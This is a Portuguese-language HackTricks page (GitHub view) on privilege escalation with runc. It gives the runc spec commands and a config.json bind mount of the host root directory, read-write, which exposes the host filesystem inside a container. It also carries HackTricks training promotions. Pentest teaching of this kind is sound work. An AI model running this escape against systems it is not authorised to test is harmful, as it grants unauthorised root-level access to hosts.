Skip to content

Latest commit

 

History

History
67 lines (49 loc) · 3.66 KB

runc-privilege-escalation.md

File metadata and controls

67 lines (49 loc) · 3.66 KB

Escalação de Privilégio RunC

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Informações Básicas

Se você quer aprender mais sobre runc, confira a seguinte página:

{% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %} 2375-pentesting-docker.md {% endcontent-ref %}

PE

Se você descobrir que runc está instalado no host, você pode ser capaz de executar um contêiner montando a pasta raiz / do host.

runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder

Inside the "mounts" section of the create config.json add the following lines:
{
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
},

#Once you have modified the config.json file, create the folder rootfs in the same directory
mkdir rootfs

# Finally, start the container
# The root folder is the one from the host
runc run demo

{% hint style="danger" %} Isso nem sempre funcionará, pois a operação padrão do runc é executar como root, então executá-lo como um usuário não privilegiado simplesmente não pode funcionar (a menos que você tenha uma configuração sem root). Tornar uma configuração sem root padrão geralmente não é uma boa ideia porque há várias restrições dentro de contêineres sem root que não se aplicam fora de contêineres sem root. {% endhint %}

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: